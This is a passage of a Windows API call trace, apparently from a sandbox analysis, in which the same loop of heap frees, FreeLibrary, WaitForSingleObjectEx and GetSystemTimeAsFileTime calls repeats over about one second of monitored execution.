[0226.039] free (_Block=0x20abc281b00) [0226.040] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.040] free (_Block=0x20abc284e70) [0226.041] free (_Block=0x20abc27cf80) [0226.041] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42812077, dwHighDateTime=0x1d9eb0c)) [0226.051] free (_Block=0x20abc281f60) [0226.051] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.051] free (_Block=0x20abc284e70) [0226.052] free (_Block=0x20abc27cf80) [0226.052] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4285e23f, dwHighDateTime=0x1d9eb0c)) [0226.086] free (_Block=0x20abc281e20) [0226.086] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.086] free (_Block=0x20abc284e70) [0226.087] free (_Block=0x20abc27cf80) [0226.088] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4288452e, dwHighDateTime=0x1d9eb0c)) [0226.099] free (_Block=0x20abc281e40) [0226.099] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.100] free (_Block=0x20abc284e70) [0226.101] free (_Block=0x20abc27cf80) [0226.101] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x428aa540, dwHighDateTime=0x1d9eb0c)) [0226.113] free (_Block=0x20abc281960) [0226.113] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.114] free (_Block=0x20abc284e70) [0226.114] free (_Block=0x20abc2abf90) [0226.115] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x428aa540, dwHighDateTime=0x1d9eb0c)) [0226.120] free (_Block=0x20abc281f80) [0226.121] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.122] free (_Block=0x20abc284e70) [0226.123] free (_Block=0x20abc27cf80) [0226.123] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x429db895, dwHighDateTime=0x1d9eb0c)) [0226.239] free (_Block=0x20abc281ea0) [0226.239] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.240] free (_Block=0x20abc284e70) [0226.241] free (_Block=0x20abc27cf80) [0226.241] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x429db895, dwHighDateTime=0x1d9eb0c)) [0226.247] free (_Block=0x20abc281b00) [0226.247] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.248] free (_Block=0x20abc284e70) [0226.249] free (_Block=0x20abc27cf80) [0226.250] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42a01b9c, dwHighDateTime=0x1d9eb0c)) [0226.260] free (_Block=0x20abc281b80) [0226.260] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.261] free (_Block=0x20abc284e70) [0226.262] free (_Block=0x20abc2ab450) [0226.262] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42a27fab, dwHighDateTime=0x1d9eb0c)) [0226.268] free (_Block=0x20abc281e80) [0226.268] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.269] free (_Block=0x20abc284e70) [0226.270] free (_Block=0x20abc2ab310) [0226.270] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42a27fab, dwHighDateTime=0x1d9eb0c)) [0226.277] free (_Block=0x20abc281ec0) [0226.278] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.279] free (_Block=0x20abc284e70) [0226.280] free (_Block=0x20abc2abae0) [0226.280] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42ac06ac, dwHighDateTime=0x1d9eb0c)) [0226.343] free (_Block=0x20abc281e20) [0226.343] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.344] free (_Block=0x20abc284e70) [0226.344] free (_Block=0x20abc2ac0d0) [0226.345] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42ae6b15, dwHighDateTime=0x1d9eb0c)) [0226.352] free (_Block=0x20abc281f20) [0226.353] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.353] free (_Block=0x20abc284e70) [0226.354] free (_Block=0x20abc27cf80) [0226.354] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42b0d0f3, dwHighDateTime=0x1d9eb0c)) [0226.361] free (_Block=0x20abc281b80) [0226.362] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.362] free (_Block=0x20abc284e70) [0226.363] free (_Block=0x20abc27cf80) [0226.364] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42b0d0f3, dwHighDateTime=0x1d9eb0c)) [0226.375] free (_Block=0x20abc281de0) [0226.375] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.376] free (_Block=0x20abc284e70) [0226.378] free (_Block=0x20abc27cf80) [0226.378] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42bcb7f4, dwHighDateTime=0x1d9eb0c)) [0226.440] free (_Block=0x20abc281be0) [0226.440] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.441] free (_Block=0x20abc284e70) [0226.442] free (_Block=0x20abc27cf80) [0226.442] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42bcb7f4, dwHighDateTime=0x1d9eb0c)) [0226.448] free (_Block=0x20abc281e80) [0226.448] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.449] free (_Block=0x20abc284e70) [0226.449] free (_Block=0x20abc27cf80) [0226.450] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42bf1b3e, dwHighDateTime=0x1d9eb0c)) [0226.456] free (_Block=0x20abc281f20) [0226.456] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.457] free (_Block=0x20abc284e70) [0226.458] free (_Block=0x20abc27cf80) [0226.458] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42bf1b3e, dwHighDateTime=0x1d9eb0c)) [0226.467] free (_Block=0x20abc281b80) [0226.467] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.468] free (_Block=0x20abc284e70) [0226.469] free (_Block=0x20abc27cf80) [0226.469] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42c17cf5, dwHighDateTime=0x1d9eb0c)) [0226.480] free (_Block=0x20abc281c80) [0226.480] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.481] free (_Block=0x20abc284e70) [0226.482] free (_Block=0x20abc27cf80) [0226.482] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42c65643, dwHighDateTime=0x1d9eb0c)) [0226.503] free (_Block=0x20abc281b60) [0226.504] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.504] free (_Block=0x20abc284e70) [0226.505] free (_Block=0x20abc27cf80) [0226.505] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42c65643, dwHighDateTime=0x1d9eb0c)) [0226.512] free (_Block=0x20abc281c20) [0226.512] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.513] free (_Block=0x20abc284e70) [0226.513] free (_Block=0x20abc27cf80) [0226.514] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42c8a6dc, dwHighDateTime=0x1d9eb0c)) [0226.520] free (_Block=0x20abc281b00) [0226.521] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.521] free (_Block=0x20abc284e70) [0226.522] free (_Block=0x20abc27cf80) [0226.522] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42c8a6dc, dwHighDateTime=0x1d9eb0c)) [0226.530] free (_Block=0x20abc281ec0) [0226.530] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.530] free (_Block=0x20abc284e70) [0226.531] free (_Block=0x20abc27cf80) [0226.531] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42cb08e2, dwHighDateTime=0x1d9eb0c)) [0226.543] free (_Block=0x20abc281e00) [0226.543] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.544] free (_Block=0x20abc284e70) [0226.545] free (_Block=0x20abc27cb20) [0226.545] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42cfcd55, dwHighDateTime=0x1d9eb0c)) [0226.568] free (_Block=0x20abc281f80) [0226.568] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.569] free (_Block=0x20abc284e70) [0226.570] free (_Block=0x20abc27cf80) [0226.570] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42d22dd4, dwHighDateTime=0x1d9eb0c)) [0226.581] free (_Block=0x20abc281e20) [0226.581] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.582] free (_Block=0x20abc284e70) [0226.582] free (_Block=0x20abc27cb20) [0226.583] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42d22dd4, dwHighDateTime=0x1d9eb0c)) [0226.590] free (_Block=0x20abc281ea0) [0226.590] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.590] free (_Block=0x20abc284e70) [0226.591] free (_Block=0x20abc27cf80) [0226.591] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42d4902d, dwHighDateTime=0x1d9eb0c)) [0226.598] free (_Block=0x20abc281b60) [0226.598] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.598] free (_Block=0x20abc284e70) [0226.599] free (_Block=0x20abc27cb20) [0226.599] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42de1711, dwHighDateTime=0x1d9eb0c)) [0226.660] free (_Block=0x20abc281a80) [0226.660] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.660] free (_Block=0x20abc284e70) [0226.661] free (_Block=0x20abc27cb20) [0226.661] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42de1711, dwHighDateTime=0x1d9eb0c)) [0226.671] free (_Block=0x20abc281ce0) [0226.671] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.673] free (_Block=0x20abc284e70) [0226.674] free (_Block=0x20abc27cf80) [0226.674] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42e0c0de, dwHighDateTime=0x1d9eb0c)) [0226.681] free (_Block=0x20abc281c80) [0226.681] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.682] free (_Block=0x20abc284e70) [0226.682] free (_Block=0x20abc27cf80) [0226.683] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42e2de82, dwHighDateTime=0x1d9eb0c)) [0226.691] free (_Block=0x20abc281a80) [0226.691] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.691] free (_Block=0x20abc284e70) [0226.692] free (_Block=0x20abc27cb20) [0226.692] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42e2de82, dwHighDateTime=0x1d9eb0c)) [0226.699] free (_Block=0x20abc281be0) [0226.699] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.700] free (_Block=0x20abc284e70) [0226.701] free (_Block=0x20abc27cb20) [0226.701] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42f3e304, dwHighDateTime=0x1d9eb0c)) [0226.804] free (_Block=0x20abc281b00) [0226.804] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.805] free (_Block=0x20abc284e70) [0226.806] free (_Block=0x20abc27cf80) [0226.806] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42f3e304, dwHighDateTime=0x1d9eb0c)) [0226.814] free (_Block=0x20abc281b20) [0226.814] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.814] free (_Block=0x20abc284e70) [0226.815] free (_Block=0x20abc2ab7c0) [0226.815] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42f5f470, dwHighDateTime=0x1d9eb0c)) [0226.826] free (_Block=0x20abc282000) [0226.826] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.827] free (_Block=0x20abc284e70) [0226.828] free (_Block=0x20abc27cf80) [0226.828] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x42f85649, dwHighDateTime=0x1d9eb0c)) [0226.838] free (_Block=0x20abc2820c0) [0226.838] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.839] free (_Block=0x20abc284e70) [0226.839] free (_Block=0x20abc27cf80) [0226.839] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x430b6602, dwHighDateTime=0x1d9eb0c)) [0226.956] free (_Block=0x20abc282040) [0226.956] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.957] free (_Block=0x20abc284e70) [0226.957] free (_Block=0x20abc27cf80) [0226.958] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x430b6602, dwHighDateTime=0x1d9eb0c)) [0226.964] free (_Block=0x20abc2820c0) [0226.964] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.965] free (_Block=0x20abc284e70) [0226.965] free (_Block=0x20abc27cf80) [0226.965] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x430dcade, dwHighDateTime=0x1d9eb0c)) [0226.972] free (_Block=0x20abc281ec0) [0226.972] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.973] free (_Block=0x20abc284e70) [0226.974] free (_Block=0x20abc27cf80) [0226.974] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x430dcade, dwHighDateTime=0x1d9eb0c)) [0226.985] free (_Block=0x20abc281f60) [0226.985] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.986] free (_Block=0x20abc284e70) [0226.987] free (_Block=0x20abc27cf80) [0226.987] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0226.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43102ab5, dwHighDateTime=0x1d9eb0c)) [0226.994] free (_Block=0x20abc281a00) [0226.994] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0226.994] free (_Block=0x20abc284e70) [0226.995] free (_Block=0x20abc27cf80) [0226.995] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4325cf04, dwHighDateTime=0x1d9eb0c)) [0227.130] free (_Block=0x20abc281b00) [0227.131] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.132] free (_Block=0x20abc284e70) [0227.132] free (_Block=0x20abc27cf80) [0227.133] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x432802d4, dwHighDateTime=0x1d9eb0c)) [0227.152] free (_Block=0x20abc281960) [0227.153] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.153] free (_Block=0x20abc284e70) [0227.154] free (_Block=0x20abc27cf80) [0227.154] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x432a82d4, dwHighDateTime=0x1d9eb0c)) [0227.164] free (_Block=0x20abc281960) [0227.164] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.164] free (_Block=0x20abc284e70) [0227.165] free (_Block=0x20abc27cb20) [0227.165] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x432a82d4, dwHighDateTime=0x1d9eb0c)) [0227.173] free (_Block=0x20abc281de0) [0227.173] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.174] free (_Block=0x20abc284e70) [0227.175] free (_Block=0x20abc27cb20) [0227.175] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x433d7868, dwHighDateTime=0x1d9eb0c)) [0227.297] free (_Block=0x20abc281e20) [0227.297] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.298] free (_Block=0x20abc284e70) [0227.301] free (_Block=0x20abc27cb20) [0227.301] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x433ff63e, dwHighDateTime=0x1d9eb0c)) [0227.313] free (_Block=0x20abc281d20) [0227.313] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.314] free (_Block=0x20abc284e70) [0227.315] free (_Block=0x20abc27cb20) [0227.316] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x43423d8e, dwHighDateTime=0x1d9eb0c)) [0227.323] free (_Block=0x20abc281de0) [0227.323] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.324] free (_Block=0x20abc284e70) [0227.324] free (_Block=0x20abc27cb20) [0227.325] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4344a17c, dwHighDateTime=0x1d9eb0c)) [0227.332] free (_Block=0x20abc281ec0) [0227.332] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.333] free (_Block=0x20abc284e70) [0227.333] free (_Block=0x20abc27cb20) [0227.333] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4344a17c, dwHighDateTime=0x1d9eb0c)) [0227.341] free (_Block=0x20abc2819a0) [0227.341] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.341] free (_Block=0x20abc284e70) [0227.342] free (_Block=0x20abc27cb20) [0227.342] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4357b6bc, dwHighDateTime=0x1d9eb0c)) [0227.461] free (_Block=0x20abc281a80) [0227.461] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.462] free (_Block=0x20abc284e70) [0227.463] free (_Block=0x20abc2abf40) [0227.463] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x435a1333, dwHighDateTime=0x1d9eb0c)) [0227.470] free (_Block=0x20abc281f60) [0227.471] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.471] free (_Block=0x20abc284e70) [0227.472] free (_Block=0x20abc2ab270) [0227.472] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0227.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x435a1333, dwHighDateTime=0x1d9eb0c)) [0227.480] free (_Block=0x20abc281de0) [0227.480] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0227.481] free (_Block=0x20abc284e70) 